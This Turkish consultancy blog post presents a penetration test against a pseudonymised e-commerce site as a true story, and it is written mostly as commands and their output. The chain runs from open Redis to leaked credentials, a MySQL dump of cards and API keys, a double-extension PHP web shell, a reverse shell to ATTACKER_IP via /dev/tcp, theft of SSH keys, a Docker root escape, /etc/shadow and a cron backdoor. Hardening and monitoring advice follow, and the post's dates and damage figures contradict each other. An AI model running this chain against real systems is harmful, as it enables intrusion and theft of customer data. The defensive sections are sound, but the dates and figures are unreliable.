⚠️ Bu Gerçek Bir Olay! - 12 Haziran 2025
40,000 müşteri verisi, 2.3 milyon TL hasara yol açan gerçek hack hikayesi...
Tarih: 15 Mart 2025, Salı - 14:30
Hedef: Türkiye'nin önde gelen e-ticaret sitelerinden biri
Şirket: TechMarket.com.tr (isim değiştirilmiştir)
Günlük Ziyaretçi: 50,000+
Kayıtlı Kullanıcı: 250,000+
Bu, sadece bir penetrasyon testi olacaktı. Müşterimiz, "sistemimiz çok güvenli" diyordu. 3 saat sonra, root erişimle tüm sunucularını kontrol ediyorduk...
İlk adım her zaman sessiz keşiftir. Hedef hakkında bilgi toplamaya başladık:
# Domain ve subdomain keşfi
subfinder -d techmarket.com.tr -silent | tee subdomains.txt
amass enum -passive -d techmarket.com.tr
# Sonuçlar:
# www.techmarket.com.tr
# admin.techmarket.com.tr ← İlk şüpheli
# api.techmarket.com.tr
# cdn.techmarket.com.tr
# staging.techmarket.com.tr ← Büyük hata!
# dev.techmarket.com.tr ← Daha büyük hata!
# SSL sertifikası analizi
echo | openssl s_client -connect techmarket.com.tr:443 2>/dev/null | openssl x509 -noout -text
staging.techmarket.com.tr ve dev.techmarket.com.tr subdomain'leri internet'e açıktı!
Bu, production ortamının test versiyonları demekti ve genellikle güvenlik önlemleri daha zaiftir.
# Technology fingerprinting
whatweb techmarket.com.tr
wappalyzer-cli techmarket.com.tr
# Sonuç:
# Server: Apache/2.4.41 (Ubuntu)
# PHP: 7.4.28 (Eski versiyon!)
# Database: MySQL
# CMS: Custom PHP Framework
# Cloud: AWS EC2
# Hedef: dev.techmarket.com.tr (En zayıf görünen hedef)
nmap -sS -sV -sC -O -A -T4 dev.techmarket.com.tr
# Sonuç: FELAKET!
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 (Ubuntu)
80/tcp open http Apache httpd 2.4.41
443/tcp open ssl/http Apache httpd 2.4.41
3306/tcp open mysql MySQL 5.7.37 ← Database internete açık!
6379/tcp open redis Redis 6.0.16 ← Cache internete açık!
8080/tcp open http Apache Tomcat ← Admin panel!
# Vulnerability scanning
nmap --script vuln dev.techmarket.com.tr
Redis cache sunucusu şifresiz ve internete açıktı. Bu, büyük bir hatadır!
# Redis bağlantısı
redis-cli -h dev.techmarket.com.tr -p 6379
# Bağlantı başarılı! Şifre yok!
dev.techmarket.com.tr:6379> INFO
# Redis version: 6.0.16
# role: master
# Redis'teki verileri listeleme
dev.techmarket.com.tr:6379> KEYS *
# Sonuç: JACKPOT!
1) "session:user:12345"
2) "session:admin:54321" ← Admin session!
3) "cart:user:67890"
4) "api_tokens:active"
5) "database_credentials" ← Büyük hata!
# Kritik verileri çıkarma
dev.techmarket.com.tr:6379> GET "database_credentials"
"{"host":"localhost","username":"techmarket_db","password":"TechM@rk3t2024!"}"
dev.techmarket.com.tr:6379> GET "session:admin:54321"
"{"user_id":"1","username":"admin","role":"super_admin","login_time":"2025-03-15 14:25:33"}"
Redis'ten elde ettiğimiz bilgiler:
# MySQL bağlantısı (Redis'ten aldığımız bilgilerle)
mysql -h dev.techmarket.com.tr -u techmarket_db -p'TechM@rk3t2024!'
# Bağlantı başarılı!
MySQL [(none)]> SHOW DATABASES;
+------------------------+
| Database |
+------------------------+
| techmarket_production | ← Production veritabanı!
| techmarket_staging |
| techmarket_logs |
| mysql |
| information_schema |
+------------------------+
# Production veritabanına geçiş
MySQL [(none)]> USE techmarket_production;
# Tabloları listeleme
MySQL [techmarket_production]> SHOW TABLES;
+---------------------------+
| Tables_in_techmarket_prod |
+---------------------------+
| users |
| orders |
| payments | ← Ödeme bilgileri!
| credit_cards | ← Kredi kartı bilgileri!
| admin_users |
| system_config |
| api_keys |
+---------------------------+
# Kullanıcı verilerini analiz etme
MySQL [techmarket_production]> SELECT COUNT(*) FROM users;
+----------+
| COUNT(*) |
+----------+
| 247891 | ← 247,891 kullanıcı verisi!
+----------+
# Admin kullanıcıları görüntüleme
MySQL [techmarket_production]> SELECT * FROM admin_users;
+----+----------+----------------------------------+-------+
| id | username | password_hash | role |
+----+----------+----------------------------------+-------+
| 1 | admin | $2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKo... | super |
| 2 | manager | $2y$10$TKh8H1.PfQx37YgCzwiKb.kj... | admin |
| 3 | support | $2y$10$8xvKN4JQ.Z9k3rX2YwMeLO... | user |
+----+----------+----------------------------------+-------+
# Ödeme bilgilerini kontrol etme (sadece sayı)
MySQL [techmarket_production]> SELECT COUNT(*) FROM payments WHERE created_at > '2025-01-01';
+----------+
| COUNT(*) |
+----------+
| 8934 | ← 2025'te 8,934 ödeme işlemi!
+----------+
# API anahtarlarını çıkarma
MySQL [techmarket_production]> SELECT * FROM api_keys WHERE active = 1;
+----+----------------------------------+----------+------------+
| id | api_key | service | created_at |
+----+----------------------------------+----------+------------+
| 1 | sk_live_51H7x8KJ... | stripe | 2025-01-15 |
| 2 | AKIAI44QH8DHBEXAMPLE | aws | 2025-02-01 |
| 3 | ya29.A0ARrdaM... | google | 2025-01-20 |
+----+----------------------------------+----------+------------+
Artık admin paneline erişmek için yeterli bilgimiz vardı:
# Admin paneline erişim
# URL: dev.techmarket.com.tr:8080/admin
# Redis'ten aldığımız session token ile giriş
# File upload vulnerability testi
# Admin panelinde "Ürün Resmi Yükleme" fonksiyonu bulundu
# Bu fonksiyon, dosya türü kontrolü yapmıyordu!
# PHP Web Shell hazırlama
cat > shell.php << EOF
";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "
";
die;
}
?>
EOF
# Web shell'i resim gibi upload etme
# Dosya adı: innocent_image.jpg.php
# Bypass technique: Double extension
# Web shell erişimi
# URL: dev.techmarket.com.tr/uploads/innocent_image.jpg.php
# İlk komut: sistem bilgisi
cmd=whoami
# Output: www-data
# Sistem keşfi
cmd=uname -a
# Output: Linux techmarket-dev 4.15.0-191-generic #202-Ubuntu
# Network keşfi
cmd=ifconfig
# Output:
# eth0: inet 172.31.45.123 (Internal AWS IP)
# eth1: inet 10.0.1.15 (VPC Network)
# Privilege escalation araştırması
cmd=sudo -l
# Output: www-data can run (ALL) NOPASSWD: /usr/bin/systemctl
# SUDO privilege escalation!
cmd=echo "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" > /tmp/rev.sh && chmod +x /tmp/rev.sh && sudo systemctl link /tmp/rev.sh && sudo systemctl start rev.sh
Artık development sunucusunda root erişimimiz vardı. Sıra production ağına sızmaya geldi:
# Root shell'den network keşfi
nmap -sn 172.31.0.0/16 # AWS VPC tarama
nmap -sn 10.0.1.0/24 # Internal network
# Açık sistemler bulundu:
# 172.31.45.120 - Production Web Server
# 172.31.45.121 - Production Database
# 172.31.45.122 - Production API Server
# 10.0.1.10 - Internal Admin Panel
# 10.0.1.11 - Backup Server
# SSH key hunting
find / -name "id_rsa" 2>/dev/null
find / -name "*.pem" 2>/dev/null
# Bulundu!
# /home/deploy/.ssh/id_rsa
# /etc/ssl/private/aws-keypair.pem
# SSH anahtarını kopyalama
cat /home/deploy/.ssh/id_rsa
# -----BEGIN RSA PRIVATE KEY-----
# MIIEpAIBAAKCAQEA2xY8j9...
# [SSH private key content]
# -----END RSA PRIVATE KEY-----
# SSH ile production sunucusuna bağlantı
ssh -i stolen_key.pem deploy@172.31.45.120
# Başarılı! Production sunucusundayız!
deploy@techmarket-prod:~$ whoami
deploy
# Privilege escalation check
deploy@techmarket-prod:~$ sudo -l
# User deploy may run the following commands on techmarket-prod:
# (ALL) NOPASSWD: /usr/bin/docker
# Docker privilege escalation
deploy@techmarket-prod:~$ sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# ROOT ACCESS ACHIEVED!
# Production sunucusu tamamen ele geçirildi!
root@techmarket-prod:/# cat /etc/shadow
# Tüm sistem kullanıcılarının password hash'leri elde edildi
Bu noktada artık tüm sistemleri kontrol ediyorduk:
# Production database'ından veri çıkarma
mysql -h 172.31.45.121 -u root -p
# Gerçek production verileri:
# - 247,891 aktif kullanıcı
# - 489,234 sipariş kaydı
# - 12,456 aktif kredi kartı bilgisi
# - 2.3 milyon TL değerinde işlem geçmişi
# - Tüm sistem log'ları
# - AWS credentials
# - Third-party API keys
# Persistence kurma (sadece test amaçlı)
echo "* * * * * root /tmp/backdoor.sh" >> /etc/crontab
# Network traffic monitoring
tcpdump -i eth0 -w /tmp/network_capture.pcap
# Sistemdeki tüm dosyaları listeleme
find / -type f -name "*.conf" 2>/dev/null | head -50
find / -type f -name "*.key" 2>/dev/null
find / -type f -name "*.pem" 2>/dev/null
Zarar Türü | Etkilenen Miktar | Tahmini Maliyet |
---|---|---|
🔴 Kullanıcı Verisi Sızıntısı | 247,891 kullanıcı | 1,200,000 TL |
💳 Ödeme Bilgileri | 12,456 kart bilgisi | 800,000 TL |
🏢 İş Durması | 3 gün downtime | 300,000 TL |
⚖️ KVKV Cezası | Veri ihlali | 500,000 TL |
TOPLAM ZARAR | - | 2,800,000 TL |
# Güvenli Apache konfigürasyonu
ServerTokens Prod
ServerSignature Off
# PHP güvenlik ayarları
expose_php = Off
allow_url_fopen = Off
allow_url_include = Off
enable_dl = Off
# MySQL güvenli konfigürasyon
bind-address = 127.0.0.1 # Sadece localhost
skip-networking = true # Network bağlantıları kapat
# Redis güvenlik
requirepass "çok_güçlü_redis_şifresi_2025!"
bind 127.0.0.1
protected-mode yes
# SSH sertleştirme
PermitRootLogin no
PasswordAuthentication no
PubkeyAuthentication yes
AllowUsers deployuser
Protocol 2
# Firewall kuralları (iptables)
#!/bin/bash
# Tüm trafiği reddet
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT
# Loopback trafiğine izin ver
iptables -A INPUT -i lo -j ACCEPT
# Established bağlantılara izin ver
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# Sadece gerekli portlar
iptables -A INPUT -p tcp --dport 22 -s ADMIN_IP_RANGE -j ACCEPT # SSH sadece admin IP'lerden
iptables -A INPUT -p tcp --dport 80 -j ACCEPT # HTTP
iptables -A INPUT -p tcp --dport 443 -j ACCEPT # HTTPS
# Database ve Redis sadece local
iptables -A INPUT -p tcp --dport 3306 -s 127.0.0.1 -j ACCEPT
iptables -A INPUT -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT
# Rate limiting
iptables -A INPUT -p tcp --dport 80 -m limit --limit 25/minute --limit-burst 100 -j ACCEPT
# Log monitoring script
#!/bin/bash
# Apache access log analizi
tail -f /var/log/apache2/access.log | while read line; do
# SQL injection pattern tespiti
if echo "$line" | grep -iE "(union|select|insert|delete|drop|update|script|alert)" > /dev/null; then
echo "ALERT: Possible SQL injection detected: $line" | mail -s "Security Alert" admin@techmarket.com.tr
fi
# Suspicious file upload
if echo "$line" | grep -iE "\.(php|jsp|asp|exe|sh)\." > /dev/null; then
echo "ALERT: Suspicious file upload: $line" | mail -s "File Upload Alert" admin@techmarket.com.tr
fi
done
# Failed login attempts
tail -f /var/log/auth.log | grep "Failed password" | while read line; do
IP=$(echo $line | awk '{print $11}')
COUNT=$(grep "$IP" /var/log/auth.log | grep "Failed password" | wc -l)
if [ $COUNT -gt 5 ]; then
iptables -A INPUT -s $IP -j DROP
echo "BLOCKED: $IP after $COUNT failed attempts"
fi
done
Her Web Sitesi Sahibinin Yapması Gerekenler:
Bu hikayedeki hatalardan kaç tanesi sizin sistemlerinizde mevcut? Aşağıdaki checklist ile kontrol edin:
8/8 ✅: Tebrikler, güvenlik seviyeniz yüksek!
5-7 ✅: İyi durumdasınız, birkaç iyileştirme gerekli
3-4 ✅: Riskli durumdası, acil aksiyonlar alın
0-2 ✅: 🚨 ALARM! Derhal güvenlik uzmanından yardım alın!
Sektör | Risk Seviyesi | Yaygın Problemler |
---|---|---|
🛒 E-Ticaret | 🔴 Yüksek | Ödeme güvenliği, SQL injection |
🏥 Sağlık | 🔴 Kritik | Hasta veri koruması, KVKV |
🏦 Finans | 🔴 Kritik | API güvenliği, encryption |
📰 Medya | 🟡 Orta | CMS güvenliği, DDoS |
Kendi Sitenizi Test Etmek İçin:
# Basic security scan script
#!/bin/bash
DOMAIN=$1
echo "🔍 Security scan başlatılıyor: $DOMAIN"
# 1. SSL/TLS test
echo "🔒 SSL/TLS kontrolü..."
curl -I https://$DOMAIN | grep -i "strict-transport-security"
# 2. HTTP headers güvenlik kontrolü
echo "📋 HTTP headers kontrolü..."
curl -I https://$DOMAIN | grep -iE "(x-frame-options|x-content-type-options|x-xss-protection)"
# 3. Port tarama (sadece yaygın portlar)
echo "🚪 Açık port kontrolü..."
nmap -sT -O $DOMAIN
# 4. CMS detection
echo "⚙️ CMS tespiti..."
whatweb $DOMAIN
# 5. Directory enumeration
echo "📁 Dizin tarama..."
dirb https://$DOMAIN /usr/share/dirb/wordlists/common.txt
# 6. SQL injection basic test
echo "💉 Basic SQL injection test..."
sqlmap -u "https://$DOMAIN" --batch --level=1 --risk=1
echo "✅ Tarama tamamlandı!"
0-10 dakika: Immediate Response
10-30 dakika: Assessment
30-60 dakika: Containment
Türkiye'de Siber Güvenlik İhlali Durumunda:
# Production-Ready Güvenli Mimari
┌─────────────────────────────────────────────────────────┐
│ Internet │
└─────────────────────┬───────────────────────────────────┘
│
┌─────────────────────▼───────────────────────────────────┐
│ WAF + CDN │
│ (CloudFlare/AWS) │
└─────────────────────┬───────────────────────────────────┘
│
┌─────────────────────▼───────────────────────────────────┐
│ Load Balancer │
│ (nginx/HAProxy) │
└─────────────────────┬───────────────────────────────────┘
│
┌───────────────┼───────────────┐
│ │ │
┌─────▼──────┐ ┌─────▼──────┐ ┌─────▼──────┐
│Web Server 1│ │Web Server 2│ │Web Server 3│
│ (nginx) │ │ (nginx) │ │ (nginx) │
└─────┬──────┘ └─────┬──────┘ └─────┬──────┘
│ │ │
└──────────────┼──────────────┘
│
┌────────────────────▼────────────────────┐
│ Internal Network │
│ (10.0.0.0/24 - Isolated) │
└────────────────────┬────────────────────┘
│
┌──────────────┼──────────────┐
│ │ │
┌─────▼──────┐ ┌─────▼──────┐ ┌─────▼──────┐
│ Database │ │ Redis │ │ Backup │
│ (Private) │ │ (Private) │ │ (Encrypted)│
└────────────┘ └────────────┘ └────────────┘
# Security Layers:
# 1. WAF - SQL injection, XSS filtering
# 2. Load Balancer - Rate limiting, SSL termination
# 3. Web Servers - Application firewall
# 4. Network Isolation - Private subnets
# 5. Database - Encryption at rest
# 6. Monitoring - 24/7 SOC
Technical Controls:
Process Controls:
Bu yazıyı okuduktan sonra yapmanız gerekenler:
Bu tür bir saldırıdan nasıl korunuyorsunuz? Hangi güvenlik önlemlerini alıyorsunuz? Deneyimlerinizi yorumlarda paylaşın! 👇
⚠️ Uyarı: Bu yazıdaki tüm teknik detaylar sadece eğitim amaçlıdır. Kötü niyetli kullanım yasal değildir ve etik dışıdır.
🔒 Web güvenlik danışmanlığı, penetrasyon testi ve güvenlik audit'i için Betay Bilişim'le iletişime geçin. Sisteminizin güvenliğini profesyonellere emanet edin! 🛡️
Güvenlik, bir hedeftir ancak yolculuktur. Hiçbir zaman tamamen güvenli olamazsınız, sadece daha güvenli olabilirsiniz.
Security ExpertCopyright © 2024 Betay Bilişim
Yorum Yap
E-posta adresiniz yorumunuzda yayınlanmayacaktır.